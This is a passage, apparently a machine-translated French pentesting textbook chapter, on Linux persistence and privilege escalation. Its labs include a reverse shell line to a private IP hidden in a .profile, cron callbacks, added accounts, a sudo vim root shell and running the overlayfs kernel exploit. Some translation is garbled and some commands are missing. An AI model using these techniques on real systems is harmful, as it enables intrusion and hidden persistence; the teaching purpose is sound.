Vous êtes sur la page 1sur 28

Persistance Linux

Les systèmes Linux accessibles via Internet sont très probablement des systèmes qui fournissent
des services à plusieurs clients. Lors de la configuration de ces types de systèmes, il est de
pratique courante de supprimer les logiciels inutiles et, par conséquent, ils n’ont généralement
pas d’interface graphique configurée. En outre, comme vous l’avez appris au chapitre
4,l’attaquant aura très probablement un shell limité. Ainsi, cette section continue de se
concentrer sur les outils et techniques basés sur l’interface de ligne de commande que les
attaquants peuvent utiliser. Une base solide pour travailler à partir de la ligne de commande
Linux est essentielle pour obtenir de la persistance et des privilèges croissants dans un
environnement Linux. Il est souvent facile de se faire trébucher sur la syntaxe de base ou
d’exécuter accidentellement une commande qui nécessite une entrée. De simples erreurs
comme celles-ci peuvent vous coûter une coquille. En outre, lors de l’exploitation de systèmes
clients Windows, si un exploit échoue ou si un système se bloque, les effets sont généralement
limités. Si votre exploit bloque un serveur Web Internet pour une entreprise de commerce
électronique, l’impact sera beaucoup plus important.

Manipulation du fichier de démarrage .bash

Ce type de mécanisme de persistance est l’équivalent Linux du mécanisme de persistance


Windows que vous avez effectué avec Empire. Vous suspendez essentiellement vos espoirs de
persévérance sur une connexion utilisateur. Comme nous l’avons vu au chapitre 4,les shells
utilisateur ne sont pas standard d’un système à l’autre, ils diffèrent même entre les utilisateurs
d’un même système. Cependant, la plupart des environnements shell ont des fichiers spéciaux
sur lesquels ils s’appuient pour configurer un environnement pour l’utilisateur, et les utilisateurs
peuvent également personnaliser certains de ces fichiers, c’est là que ce mécanisme de
persistance particulier entre en jeu.

Avant de discuter de cette méthode de persistance, il serait utile de prendre du recul et


d’examiner ce qui se passe lorsqu’un utilisateur se connecte à un terminal Linux. Il existe deux
types standard de connexions associées aux profils utilisateur :

• Shell de connexion interactif Un utilisateur se connecte via la console ou à distance via Secure Shell
(SSH). L’utilisateur utilise un shell pour se connecter.

• Shell interactif sans connexion Un utilisateur s’est déjà connecté (via l’interface graphique, par
exemple) et lance un programme de terminal, comme xterm ou gnome-terminal. Dans ce cas,
l’utilisateur n’a pas besoin de s’authentifier à nouveau pour lancer le shell.

La distinction entre ces types de connexion est importante si un attaquant exploite un serveur
qui n’a pas d’environnement de bureau GUI configuré. Lorsqu’un utilisateur se connecte via un
shell de connexion interactif, le profil utilisateur provient de fichiers dans l’ordre suivant :

1. /etc/profil
2. ~/.bash_profile

3. ~/.bash_login

4. ~/.profil.

CONSEIL Le tilde (~) est un raccourci sous Linux qui signifie le répertoire de base de l’utilisateur.

L’approvisionnement d’un fichier est comme le chargement de paramètres à partir d’un autre
fichier. Par exemple, si vous aviez un script shell avec rien d’autre que des variables, vous pouvez
sourcer ce script à partir d’un autre script pour charger et utiliser toutes ces variables définies.
Étant donné que le fichier /etc/profile appartient très probablement à root et n’est pas accessible
dans le monde entier, vous avez plus de chances de modifier le profil de l’utilisateur auquel vous
avez accédé ou vers lequel vous avez pu pivoter. L’utilisation de cette technique présente un
avantage majeur : ces fichiers ne sont souvent pas édités par les administrateurs ou sont
fortement personnalisés. Si c’est le cas, il n’y a aucune raison pour que vous ne puissiez pas
enterrer votre shell inverse au milieu d’un fichier .profile contenant des dizaines de lignes.
L’inconvénient de cette méthode est que vous êtes relégué à attendre Alice. Alice pourrait se
reconnecter dans quelques minutes, ou elle pourrait ne pas se reconnecter pendant un mois.

Bien qu’un exercice de laboratoire complet soit hors de portée pour ce type d’attaque, nous
vous suggérons d’essayer d’obtenir un shell inverse en tant qu’alice à partir de la machine
virtuelle métasploitable-3-ubuntu configurée à l’annexe B en utilisant les conseils suivants :

1. Modifiez le fichier .profile dans le répertoire de base d’alice.

2. Insérez la commande suivante dans le fichier .profile (modifiez l’adresse IP pour qu’elle
corresponde à celle de votre machine virtuelle Kali, si elle est différente) :

bash -i >& /dev/tcp/192.168.1.119/4444 0>&1 &

3. Exécutez la commande netcat suivante sur votre machine virtuelle Kali :

nc -lvnp 4444

4. Connectez-vous à la machine virtuelle metasploitable-3-ubuntu en tant qu’alice pour déclencher


le shell inverse.
Planification des tâches locales

Si vous ne voulez pas attendre qu’Alice se reconnecte, vous pouvez créer une action planifiée.
Les systèmes Linux vous permettent de créer des actions planifiées de deux manières distinctes
: les tâches cron,qui répètent des actions ou des tâches, et les tâches, qui sont des tâches ou des
actions qui s’exécutent une fois. Cette section se concentre sur cron, car cela s’aligne directement
sur les tâches planifiées de Windows. Les tâches Cron sont stockées dans un crontab, qui est une
liste de tâches que l’utilisateur souhaite automatiser. Il est d’usage pour les administrateurs
système de limiter la possibilité d’exécuter des tâches cron aux utilisateurs privilégiés.
Cependant, comme nous l’avons déjà noté, les éléments de configuration sont négligés ou
oubliés. Vous pouvez également compromettre un utilisateur qui a reçu l’autorisation d’exécuter
des tâches cron. Il existe deux fichiers par défaut sur les systèmes Linux qui contrôlent les
autorisations de travail cron de l’utilisateur :

• /etc/cron.allow Sert de liste blanche d’utilisateurs autorisés à exécuter des tâches cron. Tous
les utilisateurs qui ont une entrée dans ce fichier sont autorisés à exécuter des tâches cron, et
tous les autres sont refusés.

• /etc/cron.deny Sert de liste noire. Tous les utilisateurs sont autorisés à exécuter des tâches
cron, sauf s’ils ont une entrée dans ce fichier.

Par défaut, si aucun des deux fichiers n’existe, tous les utilisateurs, à l’exception de root, sont
empêchés d’exécuter des tâches cron. Le moyen le plus simple de voir si le système près duquel
vous avez accès permet à votre utilisateur de modifier son crontab est d’exécuter cat /etc/cron.allow.
Si ce fichier existe et que votre utilisateur s’y trouve, votre utilisateur peut planifier des tâches
cron. Sinon, votre utilisateur n’est probablement pas en mesure d’exécuter des tâches cron. Pour
afficher le crontab de l’utilisateur actuel, utilisez la commande crontab -l (l minuscule ). Pour
modifier le crontab d’un utilisateur, utilisez la commande crontab -e. Une fois exécuté, vous êtes
placé dans un mode éditeur, très probablement vi/vim, sauf si vous avez choisi un autre éditeur
par défaut. Vous examinerez quelques exemples d’entrées, mais vous devez d’abord comprendre
comment un crontab est disposé.

Jetez un coup d’œil à la figure 5-5 et notez que cinq colonnes sont désignées par des
astérisques. Les entrées de chaque colonne déterminent le moment où une tâche s’exécutera.
Si, par exemple, vous souhaitez exécuter une commande nommée /bin/foo toutes les minutes,
vous devez entrer ce qui suit dans le crontab de l’utilisateur :

* * * * * /bin/foo

Ou vous pouvez exécuter une commande à 14h15 .m le 16ème jour du mois comme ça:

14 15 16 * * /bin/foo
Figure 5-5 Disposition Crontab

ATTENTION Si vous essayez d’exécuter crontab -e pour un utilisateur qui n’est pas autorisé à
planifier des tâches cron, vous provoquerez la consignation d’un message d’erreur dans le fichier
journal cron, ce qui peut alerter les administrateurs de votre présence. Vous êtes moins
susceptible d’alerter les administrateurs de votre présence en essayant simplement cat
/etc/cron.allow, même si le fichier est manquant, et surtout s’il est lisible dans le monde entier.

Connaissant ces informations, vous pouvez configurer une tâche cron avec un opérateur OR
logique, comme indiqué au chapitre 4, pour rappeler un écouteur netcat :

Cette entrée examinerait les connexions réseau établies toutes les minutes pour voir si une
connexion à votre machine virtuelle attaquant existe déjà. S’il n’en existe pas, il exécuterait un
fichier « caché » nommé .revshell.elf situé dans le répertoire de base d’alice. Vous auriez
simplement besoin d’un écouteur sur votre machine virtuelle Kali en attente d’une connexion et
d’un fichier revshell.elf, que vous pourriez générer avec msfvenom.

Persistance Linux par l’ajout de comptes d’utilisateurs

Comme dans Windows, l’ajout de comptes d’utilisateurs et la modification des autorisations de


groupe sur les systèmes Linux sont généralement audités. Cependant, c’est un moyen de gagner
rapidement en persévérance et de commencer à pivoter au sein d’une organisation cible. Le
chapitre 6 couvre les comptes d’utilisateurs et le stockage des mots de passe en profondeur, de
sorte que cette section explique simplement comment ajouter des comptes d’utilisateurs aux
systèmes Linux en supposant des configurations par défaut. La commande que vous utiliserez
pour obtenir votre mécanisme de persistance est useradd. Votre commande de nettoyage est
userdel. Nous vous suggérons de consulter rapidement la page de configuration de chaque
commande pour afficher les options standard à ajouter lors de l’utilisation de ces commandes.
Si vous souhaitez ajouter un compte d’utilisateur avec des options standard et ajouter ce
compte au groupe capable d’exécuter des commandes sudo (qui sont abordées dans la section
suivante), vous devez utiliser les deux commandes suivantes :

Dans la première commande, l’option -m spécifie la création d’un répertoire de base à l’aide
du profil par défaut, et l’option -s spécifie le shell que vous souhaitez que l’utilisateur ait, dans
ce cas Bash. L’option -G indique les groupes secondaires auquel vous souhaitez que votre
utilisateur appartienne. Par défaut, sur un grand nombre de distributions Linux, telles que
CentOS, le groupe de roues peut exécuter des commandes sudo. Une fois le compte créé, vous
devez donner à l’utilisateur un mot de passe avec la commande passwd. Cela nécessite un shell
interactif. Dans la deuxième commande, l’option -f indique au système de supprimer les fichiers
du pirate.

Escalade des privilèges

Comme décrit au chapitre 3, l’escalade des privilèges fait référence à l’accès à un ensemble de
privilèges que vous n’aviez pas lorsque vous avez initialement compromis une cible. De nombreux
niveaux d’escalade des privilèges peuvent être nécessaires pour obtenir un accès administrateur
root ou Domain/Enterprise à un environnement. Toutefois, cette section couvre une seule étape
de l’escalade des privilèges, de non-administrateur à administrateur. Le groupe Administrateurs
d’entreprise dans Active Directory est un ensemble d’utilisateurs qui peuvent gérer tous les
objets d’une forêt Active Directory. Une forêt Active Directory (voir Figure 5-6) peut avoir
plusieurs domaines, chacun ayant son propre groupe Administrateurs de domaine. Il existe
plusieurs façons de faire remonter les privilèges dans les environnements Windows et Linux. En
outre, dans les environnements Windows, il existe des moyens d’escalader les privilèges au
niveau local et au niveau du domaine. Il existe également un large éventail d’outils et de
techniques disponibles à utiliser. Vous avez déjà utilisé certains d’entre eux, comme Metasploit
et Empire, pour effectuer d’autres tâches. L’escalade des privilèges peut également être aussi
simple que le téléchargement et l’exécution d’un script PowerShell.

L’escalade des privilèges locaux se divise généralement en trois grandes catégories :

• Vulnérabilités non corrigées du système d’exploitation ou du logiciel

• Configuration incorrecte du système, telle que des implémentations sudo faibles

• Vulnérabilités de divulgation d’informations


Figure 5-6 Exemple de forêt Active Directory

REMARQUE Lorsque nous faisons référence à l’accès « root », nous faisons généralement
référence à l’utilisateur root sur une cible Linux. Lorsque nous faisons référence à l’accès
administrateur, nous faisons référence aux privilèges de type root dans un environnement
Windows. Cela peut signifier un accès administrateur local ou un accès au niveau SYSTÈME, ou
un accès au niveau administrateur domaine/entreprise à un domaine Active Directory.

REMARQUE Les ID de modèle d’attaque MITRE CAPEC suivants sont pertinents pour l’escalade
des privilèges :

• CAPEC-69 : Programmes cibles avec des privilèges élevés

• CAPEC-478 : Modification de la configuration du service Windows

Vulnérabilités non corrigées

Des fournisseurs tels que Microsoft et Red Hat ont apporté des améliorations au processus par
lequel les logiciels et les systèmes d’exploitation sont corrigés. Il existe des outils pour Windows
et Linux qui supervisent et gèrent l’ensemble du processus pour les grands environnements
d’exploitation. Dans les dernières versions des systèmes d’exploitation clients Windows, la
désactivation complète des mises à jour logicielles est en fait une tâche non triviale. Cependant,
les administrateurs système et les développeurs craignent toujours que les modifications
apportées aux systèmes d’exploitation ou aux progiciels puissent causer des problèmes à leurs
systèmes ou logiciels. En outre, les défaillances dans le suivi des actifs conduisent à des systèmes
« cachés » ou à des systèmes sur un réseau que personne ne connaît. Ainsi, de nombreux
systèmes restent non corrigés.

Lorsque les utilisateurs standard exécutent des programmes ou des processus sur un système
(Linux ou Windows), ils fonctionnent en mode utilisateur, ce qui signifie que chaque fois qu’ils
souhaitent accéder au matériel ou à la mémoire, ils doivent le faire via une API. Si nécessaire, le
programme ou le service effectue un appel au noyau via une API, qui permet au noyau d’accéder
à la ressource protégée au nom de l’utilisateur ou de l’application et renvoie les informations au
processus en mode utilisateur. Il s’agit d’un autre excellent exemple de moindre privilège,
comme nous l’avons vu au chapitre 3. Cela a l’avantage supplémentaire que si un programme
s’exécutant en mode utilisateur se bloque, il ne met pas tout le système en panne. Ce sont deux
raisons pour lesquelles les services doivent être exécutés en tant qu’utilisateurs non privilégiés
lorsque cela est possible. Les actions en mode noyau et les appels système sont autorisés à
accéder à toutes les ressources protégées, y compris le matériel et la mémoire. Ainsi, les exploits
du noyau, s’ils sont stables, conduisent généralement à un shell privilégié (racine). Cependant,
un noyau instable exploite les systèmes de plantage. En tant que pentester, il est de votre
responsabilité de vous assurer que vous ne causez pas de dommages indus aux systèmes de votre
client, ce qui peut nécessiter des recherches supplémentaires sur une vulnérabilité donnée.

Vous devez également terminer votre reconnaissance au préalable, car vous devez savoir
quelle version du logiciel ou du système d’exploitation / noyau est en cours d’exécution, et vous
devez savoir à quels outils vous avez accès, le cas échéant. Dans certains cas, vous devrez
compiler un exploit sur un système en cours d’exécution, et dans le cas de Linux, cela peut
nécessiter que vous ayez accès à un compilateur comme GNU Compiler Collection (gcc). Dans
certains cas, vous pouvez être en mesure de configurer un système représentatif et de compiler
votre exploit avant de le transférer vers le système vulnérable. Il existe des outils disponibles
gratuitement que vous pouvez télécharger sur votre système cible pour collecter des
informations sur le système d’exploitation en cours d’exécution et déterminer s’il manque des
correctifs. Vous pouvez également utiliser searchsploit, inclus dans Kali Linux et démontré plus
loin dans ce chapitre, pour rechercher des exploits.

TIP Les vulnérabilités non corrigées sont classées sous la technique d’escalade de privilèges
Exploitation for Privilege (T1068) dans la tactique d’escalade de privilèges du framework MITRE
ATT&CK.

Configuration incorrecte du système

Des configurations système incorrectes peuvent également entraîner une escalade des
privilèges. Dans les systèmes d’exploitation modernes d’aujourd’hui, il y a tellement de
fonctionnalités à suivre, modifier et verrouiller que le faire manuellement sur chaque appareil
n’est pas faisable. Bien que Windows et Linux disposent d’outils intégrés pour aider à gérer les
configurations de fonctionnalités sur de grands réseaux, en fin de compte, ce sont toujours les
humains qui configurent ces systèmes. Ainsi, les problèmes se produisent de nature similaire à
ceux rencontrés avec les systèmes non corrigés: glissement de configuration et manque de suivi
approprié des actifs. En tant que pentester, considérez les caractéristiques comme des points
faibles possibles dans un système. Par exemple, une fonctionnalité de Windows est la possibilité
de partager des fichiers avec d’autres appareils via un service réseau. Toutefois, si ce service
réseau n’est pas correctement configuré, un attaquant trouvera probablement un moyen
d’exploiter cette faiblesse. Du point de vue du pentester, plus de caractéristiques équivaut à plus
d’opportunités.

Cette section explore certains outils courants que les administrateurs utilisent et sur lesquels
ils s’appuient pour administrer et sécuriser les systèmes dont ils sont responsables. Certains des
problèmes de configuration incorrecte des systèmes les plus courants qui surviennent incluent
des outils d’administration mal configurés utilisés pour exécuter des tâches privilégiées et l’échec
de la suppression de programmes inutiles, tels que netcat ou les compilateurs. Un compilateur
traduit ou convertit des langages de programmation de haut niveau en code lisible par machine
de niveau inférieur qu’un système informatique peut comprendre et exécuter. Le programme de
compilation le plus courant sur les systèmes Linux est gcc, la collection de compilateurs GNU.

Linux Sudo et Setuid Sudo est un excellent exemple d’outil souvent mal configuré et qui laisse la
porte grande ouverte aux attaquants. Sudo (prononcé « sue-do » ou « sue-doe ») est
l’abréviation de Super User Do et est un outil qui permet aux administrateurs système de donner
aux utilisateurs standard la possibilité d’exécuter des commandes comme d’autres utilisateurs,
tels que root, sans donner le mot de passe pour cet utilisateur. Sudo peut être configuré pour
demander à un utilisateur son mot de passe ou contourner cette exigence. Il peut être configuré
pour permettre aux utilisateurs d’exécuter des commandes uniques ou un groupe de
commandes, et est souvent négligé en tant qu’outil d’exploitation car, encore une fois, il est
destiné à aider les administrateurs système et à faciliter leur travail.

Le fichier utilisé pour contrôler la configuration des privilèges sudo est /etc/sudoers. Les
implémentations plus récentes peuvent avoir un répertoire /etc/sudoers.d avec plusieurs fichiers
sudoers, utilisés pour gérer des configurations sudoers complexes. Les fichiers Sudoers sont
édités avec une commande spéciale appelée visudo. Cette commande dispose de protections
intégrées pour assurer un formatage correct du fichier sudoers avant l’enregistrement et la
sortie, car un défaut de formatage correct des entrées pourrait laisser tous les utilisateurs (y
compris root) verrouillés hors d’un système. L’exécution de la commande sudo -l (l minuscule)
répertorie toutes les commandes qui peuvent être exécutées par votre utilisateur avec sudo.
Toutefois, soyez averti que si votre utilisateur n’est pas autorisé à exécuter des commandes ou
doit entrer un mot de passe pour exécuter des commandes, vous serez invité à entrer un mot de
passe. Toute entrée de mot de passe ayant échoué sera enregistrée (tout comme l’exécution
réussie des commandes via sudo).
Voici deux exemples d’entrées pour un fichier sudoers. La première, standard sur les
distributions Linux, permet à l’utilisateur root d’exécuter n’importe quelle commande sur
n’importe quel hôte comme n’importe quel utilisateur sur le système. La deuxième entrée
permet aux membres du groupe de roues (notez le % pour désigner un groupe) d’exécuter les
trois commandes répertoriées sur n’importe quel hôte en tant qu’utilisateur root sans avoir
besoin d’un mot de passe.

TIP Sudo est classé comme technique T1169 dans la tactique MITRE ATT&CK Privilege
Escalation.

Les programmes Setuid sont une autre voie qui peut conduire à une compromission du
système. Si un programme appartient à root et que le bit setuid est défini, il s’exécute dans le
contexte de l’utilisateur root. La représentation octale du bit setuid défini sur un fichier est
généralement notée 47xx (par exemple, 4755), à condition que le premier nombre soit un 4 et
que le fichier soit exécutable par le propriétaire. La représentation conviviale des autorisations
de fichier si le bit setuid est défini serait, par exemple, la suivante : rwsr-xr-x. Notez le s dans la
position d’exécution pour le propriétaire du fichier. Ainsi, s’il y a un bogue dans l’outil, ou si l’outil
a des options non sécurisées, un attaquant peut être en mesure de l’utiliser comme un tremplin
pour rooter. Un projet récent appelé go awayBins (https://gtfobins.github.io/) est unréférentiel
d’informations qui peut aider les pentesters à déterminer s’il existe un chemin d’accès à la racine
étant donné un programme setuid ou un privilège sudo mal configuré. Cependant, lors des
engagements de pentesting, vos cibles peuvent avoir des programmes ou des processus
spécialisés qui ne sont pas standard.

Pour trouver les fichiers binaires setuid installés, vous pouvez utiliser la commande Linux find,
qui est capable de rechercher non seulement des noms de fichiers spécifiques, mais également
des fichiers avec des autorisations spécifiques. Comme toujours, nous vous suggérons d’afficher
la page de travail de la commande find. Cependant, ce qui suit est une commande simple que
vous pouvez utiliser pour rechercher tous les fichiers binaires setuid appartenant à root sur
l’ensemble du système de fichiers :

La répartition de cette commande est la suivante :

• find / Indique à find de regarder sous la partition racine.

• -type f Indique à find de rechercher des fichiers (par opposition aux répertoires).

• -perm -4000 Indique à find de rechercher tous les fichiers où le bit setuid est défini, quelles que
soient les autorisations restantes.
• -user root Limite les résultats aux fichiers appartenant à l’utilisateur root.

• -exec ls -la {} \; Une sorte de raccourci pour une boucle for. Pour chaque fichier trouvé, exécutez
ls -la dessus pour vous donner le chemin d’accès absolu au fichier.

La figure 5-7 montre certains résultats de la commande exécutée sur notre machine virtuelle
Kali Linux.

Figure 5-7 Rechercher des programmes setuid

Atelier 5-4 : Escalade des privilèges Linux

Pour cet exercice, vous avez besoin de votre machine virtuelle Kali Linux et de votre machine
virtuelle ms3-ubuntu de l’annexe B. Vous explorerez deux façons très différentes d’obtenir un
accès privilégié à un système Linux, l’une via une mauvaise configuration sudo et l’autre via un
exploit du noyau.

1. Utilisez la commande ssh pour vous connecter à votre machine virtuelle metasploitable-3-ubuntu
en tant qu’alice de Kali. Une fois connecté, imprimez la version du noyau qui s’exécute à l’aide
de la commande uname -a. Vous devriez également voir sur la bannière de connexion quelle version
d’Ubuntu vous exécutez.

2. Pour déterminer si vous avez un compilateur à votre disposition, tapez quel gcc. Il doit renvoyer
une ligne vous indiquant que le chemin d’accès à la commande gcc est /usr/bin/gcc.

3. Vérifiez si alice peut exécuter des commandes avec sudo en tapant sudo -l. Vous devriez voir
qu’alice peut exécuter la commande /usr/bin/vim en tant que root sans mot de passe, comme
illustré à la Figure 5-8.
Figure 5-8 Sortie de sudo -I

4. Si vous avez déjà utilisé vim, vous savez peut-être qu’il existe un moyen d’exécuter des
commandes du système d’exploitation à partir de vim en tapant :! puis la commande. Essayez de
modifier un fichier inexistant, puis d’exécuter une commande à partir de l’intérieur. Tapez sudo
/usr/bin/vim /tmp/imroot et appuyez sur Entrée pour exécuter vim.

5. Une fois entré, tapez :!/bin/sh et appuyez sur Entrée. Vous devez être déposé dans un shell en
tant qu’utilisateur root. Vous pouvez le confirmer en tapant id -a. Tapez exit pour revenir à vim,
puis tapez :q pour quitter vim.

6. Maintenant, vous allez essayer d’obtenir des privilèges root en compilant et en exécutant un
exploit du noyau. Vous utiliserez searchsploit pour collecter des informations sur les exploits
connus. Searchsploit, inclus dans Kali Linux, est une implémentation en ligne de commande d’un
référentiel maintenu à https://www.exploit-db.com. Il inclut différents types de vulnérabilités
(par exemple, l’exécution de code à distance et privesc) pour un certain nombre de systèmes
d’information et d’architectures différents. En utilisant searchsploit, recherchez un exploit du
noyau spécifique à Ubuntu 14.04 en exécutant searchsploit « Ubuntu 14.04 », comme le montre la
figure 5-9 avec de nombreux résultats. Recherchez la vulnérabilité spécifique 'overlayfs' Local
Privilege Escalation, qui est un programme C que vousdevez compiler. Comme indiqué ci-après, copiez-
le d’abord dans votre répertoire actuel, puis convertissez-le à l’aide de l’outil dos2unix, puis scp
sur votre machine virtuelle cible :

Figure 5-9 Résultats de l’enquête de recherche


ATTENTION La plupart des exploits d’exploit-db ont été examinés par d’autres chercheurs, mais
il est de votre responsabilité en tant que pentester de comprendre le code que vous exécutez
sur vos systèmes cibles.

7. Après avoir copié la vulnérabilité, revenez à votre machine virtuelle cible, cd dans tmp et jetez
un coup d’œil au fichier d’entrée en utilisant moins (ou plus), moins 37292.c. Vous pouvez afficher
le fichier, consulter la CVE à laquelle l’exploit est associé et trouver des instructions sur la
compilation et l’utilisation de l’exploit. Vous pouvez également voir qu’il ne semble pas avoir
d’astuces cachées, comme appeler un serveur C2.

8. Suivez les instructions établies par le chercheur qui a développé l’exploit en exécutant gcc ofs.c -o
ofs, mais remplacez le nom de votre fichier d’entrée par ofs.c:

gcc 37292.c -o ofs

9. Une fois la commande exécutée, répertoriez le contenu du répertoire et vous devriez voir que
vous avez maintenant un fichier exécutable. Exécutez l’exécutable, ./ofs, et vous devriez
maintenant disposer d’un shell racine, comme illustré à la figure 5-10.

Figure 5-10 Exploit d’escalade de privilèges CVE-2015-1328

10. Tapez exit, et supprimez l’exploit et le code avant de vous déconnecter de ms3-ubuntu.
Contrôle de compte d’utilisateur Windows et contrôle d’intégrité obligatoire Avec la sortie de
Windows Vista et 2008, Windows a introduit le contrôle de compte d’utilisateur (UAC) et le
contrôle d’intégrité obligatoire (MIC), qui est la mise en œuvre par Microsoft du contrôle d’accès
obligatoire. Les objectifs de Microsoft étaient de restreindre l’accès aux objets par les utilisateurs
et les processus dangereux et de supprimer la capacité des utilisateurs à contrôler ces accès. Il
en a résulté la séparation des processus en quatre niveaux d’intégrité distincts : faible, moyen,
élevé et système. Les processus qui ont une forte probabilité d’être exploités ou auxquels des
objets non approuvés accèdent sont relégués à une faible intégrité (par exemple, les navigateurs
Web). Les processus utilisateur par défaut ou les processus dépourvus d’étiquette sont étiquetés
comme étant d’intégrité moyenne. Si vous deviez exécuter une application en tant
qu’administrateur ou utilisateur privilégié, elle serait étiquetée comme un processus à haute
intégrité. Les services étiquetés comme système sont généralement des services de système
d’exploitation.

Le contrôle d’intégrité obligatoire fonctionne en conjonction avec le contrôle de compte


d’utilisateur, qui agit comme un contrôle de sécurité pour les processus qui nécessitent des
privilèges d’administration ou l’accès à une étiquette d’intégrité plus élevée. Le contrôle de
compte d’utilisateur n’est pas implémenté pour les utilisateurs Windows standard, mais
uniquement pour les utilisateurs administratifs. Lorsqu’un compte administrateur se connecte à
un système client Windows actuel, tel que Windows 10, deux jetons d’accès distincts sont créés
pour l’utilisateur : un jeton d’accès utilisateur standard et un jeton d’accès administratif. Le jeton
d’accès utilisateur standard est utilisé pour tout processus enfant qui ne nécessite pas de
privilèges d’administrateur. Si une tâche nécessite des privilèges d’administrateur, l’utilisateur
est invité à approuver la tâche avant son exécution. Il en résulte que le processus est étiqueté
comme un processus à haute intégrité.

Une configuration incorrecte du système Windows diffère légèrement de Linux lorsqu’il s’agit
d’escalade de privilèges locaux. La commande Windows équivalente à sudo est "runas« .
Toutefois, son fonctionnement dans les systèmes d’exploitation Windows actuels nécessite que
les utilisateurs standard entrent un nom d’utilisateur et un mot de passe lorsqu’ils tentent
d’exécuter des commandes en tant qu’utilisateur privilégié. Ainsi, lorsqu’ils tentent d’escalader
les privilèges sur les systèmes Windows, les pentesters doivent être conscients de la question de
savoir s’ils devront ou non contourner le contrôle de compte d’utilisateur. En plus de la commande
runas, les utilisateurs ont la possibilité de cliquer avec le bouton droit sur une application et de
sélectionner l’option Exécuter en tant qu’administrateur dans les environnements GUI. Bien que
le meilleur plan d’action soit de garder le compte d’utilisateur activé, il peut être désactivé sur
toutes les versions modernes de Windows.

TIP Bypass User Account Control est classé comme technique T1088 sous la tactique MITRE
ATT&CK Privilege Escalation.
Chemins de service Windows non cités Cette section a déjà brièvement abordé les services
Windows dans le contexte de l’obtention de la persistance. Toutefois, les erreurs de
configuration du service Windows peuvent également entraîner une escalade des privilèges. Le
chemin d’accès au service est le chemin d’accès complet à l’exécutable exécuté par un service.
Comme vous pouvez le voir à la Figure 5-11, le chemin d’accès exécutable du service SNMP est
C:\Windows\system32\snmp.exe. Notez que le chemin d’accès complet ne contient pas d’espaces. En
revanche, considérons un service appelé myservice qui exécute C:\Program Files\foo folder\bar
folder\myservice.exe. Le chemin d’accès complet contient des espaces. La façon dont Windows est
conçu pour localiser et démarrer un processus laisse les chemins de service avec des espaces
vulnérables à l’escalade des privilèges s’ils ne sont pas placés entre guillemets. Si ce n’est pas le
cas, un attaquant (ou pentester) peut tirer parti de la façon dont Windows tente de localiser
l’exécutable. Compte tenu de l’exemple myservice précédent, l’ordre dans lequel Windows
tentera d’exécuter le service est le suivant :

1. C:\Programme.exe

2. C:\Program Files\foo.exe

3. C:\Program Files\dossier foo\bar.exe

4. C:\Program Files\dossier foo\dossier barre\monservice.exe

Figure 5-11 Exécutable du service SNMP

Généralement, les utilisateurs standard n’ont pas accès à C:\ ou C:\Program Files. Cependant,
en raison d’une installation incorrecte ou d’une configuration défectueuse, un utilisateur
standard peut avoir un accès en écriture au dossier foo. Si c’est le cas, vous pourrez peut-être
placer votre propre exécutable « malveillant » nommé bar.exe dans le dossier foo. Il y a deux
mises en garde à cette voie d’attaque. Tout d’abord, vous devez déjà disposer d’un shell
utilisateur via d’autres moyens de compromission ou des privilèges d’administrateur pour vous
connecter à partir d’un système distant. Deuxièmement, selon le propriétaire du service, vous
pouvez être relégué à attendre que quelqu’un redémarre le service ou redémarre le système.
Bien que ces types de vulnérabilités ne soient pas répandus, le niveau d’effort requis pour les
trouver et les valider est suffisamment faible pour que cela en vaille la peine.

CONSEIL Les chemins de service non cités sont classés comme technique T1034 (Path
Interception) sous la tactique MITRE ATT&CK Privilege Escalation.

Autorisations de service incorrectes Les services peuvent également être installés ou configurés
avec des autorisations incorrectes pour contrôler ou modifier le service. Comme les chemins de
service non cités, ces types de vulnérabilités deviennent de plus en plus difficiles à trouver, mais
il s’agit toujours d’un chemin d’escalade de privilèges possible que vous devriez explorer. Par
défaut, les services ne doivent pouvoir être configurés que par des administrateurs ou d’autres
utilisateurs privilégiés. Toutefois, si vous, en tant qu’utilisateur non privilégié, êtes en mesure de
modifier des aspects du service, en particulier le chemin d’accès au binaire qui est exécuté, vous
pourrez peut-être escalader vos privilèges. Avec le nombre de services qui s’exécutent sur les
ordinateurs Windows modernes, il peut être très long de vérifier chaque service et chaque
répertoire pour les problèmes d’autorisations.

Il existe différents outils que vous pouvez utiliser pour vérifier et éventuellement modifier
les autorisations de service :

• AccessChk/AccessChk64 Cet outil peut être utilisé pour vérifier les autorisations sur un certain
nombre de types d’objets différents, des fichiers aux clés de Registre.

• icacls Cet outil peut être utilisé pour vérifier ou modifier les listes de contrôle d’accès
discrétionnaire (DACL) appliquées aux fichiers ou répertoires

• PowerUp Faisant partie de la suite PowerSploit d’outils d’équipe pentesting/red, PowerUp est
un module PowerShell qui peut être utilisé pour rechercher et implémenter des techniques
standard d’escalade des privilèges Windows.

CONSEIL Les autorisations de service incorrectes sont classées dans la technique T1044,
Faiblesse des autorisations du système de fichiers, sous la tactique d’escalade des privilèges
MITRE ATT&CK.

AccessChk/AccessChk64 est inclus dans la suite d’outils d’administration Microsoft


Sysinternals, et vous pouvez le télécharger directement à partir de
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk. (Pour plus d’informations
sur Sysinternals, cliquez sur le lien Sysinternals en haut de la page Web.) AccessChk n’est pas
installé par défaut dans Windows. Une fois téléchargé, il n’est pas signalé par Windows Defender
et vous pouvez l’exécuter via la ligne de commande. Toutefois, lorsqu’il est exécuté pour la
première fois sur un système donné, il invite l’utilisateur à accepter un contrat de licence
utilisateur final (CLUF). Ainsi, si vous n’avez qu’un accès limité au shell et essayez de télécharger
et d’exécuter ce programme, une bannière sera probablement affichée à un utilisateur s’il est
connecté. Vous pouvez contourner la fenêtre contextuelle en ajoutant l’indicateur /accepteula à
votre commande.

Le programme icacls est inclus par défaut avec Windows et peut rassembler certains des
mêmes types d’informations. Vous pouvez utiliser la commande icacls pour afficher ou modifier la
liste de contrôle d’accès discrétionnaire (DACL) de l’objet spécifié. Le menu d’aide de la commande
icacls (tapez icacls /? ) est assez vaste et énumère l’abréviation de chaque autorisation et explique
ce qu’elle signifie. Par exemple, la figure 5-12 répertorie la liste DACL de C:\Program Files. Notez que
les administrateurs disposent des autorisations M (Modifier) et F (Contrôle total), tandis que les
utilisateurs n’ont que des autorisations RX (lecture-exécution).

Figure 5-12 Exemple de sortie de commande icacls « C:\Program Files » montrant DACL

Vous pouvez également utiliser PowerUp, qui fait partie de la suite PowerSploit
(https://github.com/PowerShellMafia/PowerSploit) des outils de test basés sur PowerShell. Par
défaut, PowerUp est marqué par la version actuelle de Windows Defender. Toutefois, si vous
vous trouvez sur un système sur lequel Windows Defender n’est pas activé et que vous pouvez
